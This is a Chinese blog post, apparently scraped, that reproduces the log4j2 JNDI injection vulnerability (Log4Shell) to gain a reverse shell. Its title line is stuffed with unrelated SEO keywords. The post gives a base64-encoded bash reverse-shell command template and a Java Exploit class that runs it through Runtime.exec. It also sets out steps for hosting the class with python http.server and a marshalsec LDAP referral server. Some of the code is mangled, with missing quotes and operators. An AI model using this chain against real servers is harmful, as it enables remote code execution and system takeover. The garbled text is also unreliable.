广州微网站建设市场,抖音代运营广州,企业网站需要什么,php开源企业网站log4j2漏洞复现
漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能#xff0c;传进去的值会被直接解析。例如${sys:java.version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制#xff0c;就有可能让查询指向任何服务#xff08;可能是攻击者部署…log4j2漏洞复现
漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能传进去的值会被直接解析。例如${sys:java.version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制就有可能让查询指向任何服务可能是攻击者部署好的恶意代码。 攻击者可以利用这一点进行JNDI注入使得受害者请求远程服务来链接本地对象在lookup的{}里面构造payload调用JNDI服务LDAP向攻击者提前部署好的恶意站点获取恶意的.class对象造成了远程代码执行可反弹shell到指定服务器。
dnslog验证跳过,直接进入反弹shell步骤
一、使用JNDI-exploit工具一键化反弹shell
命令格式
bash -c {echo,BASE64编码命令}|{base64,-d}|{bash,-i}在线编码网站 JNDI-Exploit工具搭建JNDI服务器 传参执行
反弹成功
二、使用EXP代码反弹shell
1、先写个java反弹shell的exp。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {public Exploit(){try{Runtime.getRuntime().exec(/bin/bash -c {echo,base64命令}|{base64,-d}|{bash,-i});}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e new Exploit();}
}3、编译为class
javac Exploit.java4、搭建web服务将class放上去
我直接python搭建个临时的
python3 -m http.server 44555、搭建LADP服务
使用marshalsec工具快速搭建
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://刚才http服务的地址:端口号/#Exploit 13896、反弹shell
传参、开启监听